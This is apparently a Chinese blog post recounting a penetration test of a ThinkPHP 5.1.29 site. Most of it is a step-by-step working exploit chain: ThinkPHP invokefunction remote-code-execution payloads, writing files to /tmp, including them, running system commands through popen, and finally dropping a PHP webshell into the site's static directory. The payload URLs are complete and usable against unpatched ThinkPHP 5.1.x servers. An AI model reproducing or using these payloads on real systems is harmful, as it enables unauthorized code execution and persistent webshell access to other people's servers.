渗透测试 •

一次普通的thinkPHP站点渗透纪实

基友扔过来一个安服项目的站,他人在出差要我帮忙看看,说随便蹭蹭就行如果进去了最好。我当然是希望能进去了,这样就可以在博客水一篇处女作了,于是我就开始裸奔。

0x01 初探

打开这个站,debug开了 还是tp5.1.29 用IP去访问显示lnmp搭建,disable_function只禁用了几个函数

3.png

先用tp5.1X通杀版本payload打试试,payload 执行成功:

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

2.jpg

使用file_get_contents去getshell,意料之中根目录没有写入权限

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E

4.png

0x02 小弯路

因为开了debug,有文件路径然后想着一顿操作找路径去写webshell,但是太浪费时间。/tmp目录一般都会有写入权限,如果能写进去 可以进行包含的话就可以进一步操作。包含使用“think__include_file”方法去包含,先试试能否进行包含.
先写入一个PHPinfo文件到tmp目录:

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E

再去包含它:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt

5.png
6.png

0x03 有点东西

上图包含在/tmp目录下创建的phpinfo执行成功,前面PHPinfo获取到的disable_function,“popen” 没有被禁用,就用他来执行一个命令。执行“ls -la /home/wwwroot/xxxxxx/public/”,探测web路径下有写入权限的目录.
“popen”执行命令:

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=<?php $fd = popen("command",'r'); $ret = fgets($fd);$fd = popen("ls -la /home/wwwroot/XXXXXXXXXX/test/public >/tmp/test1.txt", 'r');pclose($fd);print(fgets(fopen("/tmp/test1.txt",'r')));$fd=popen("whoami",'r');while($s=fgets($fd)){print_r($s);}

返回的长度:
7.png

包含“/tmp/test1.txt”使其执行:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt

执行成功,返回结果权限是“www”, ls命令的回显可能没来得及print,使用“readfile”函数去读取“/tmp/test1.txt”即可,“include_file”方法改为“readfile”
8.png
9.png

0x04 getshell

成功读取,仅有“static”目录具有权限,到这里就没什么难度了,再用“file_put_contents” 把shell写到static目录即可

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/home/wwwroot/XXXXXXXXX/test/public/x.php&vars[1][]=phpshellXXXXXXXXXXXX

行云流水 getshell, 打赏了一包华子收工。
10.png

💫 评论卡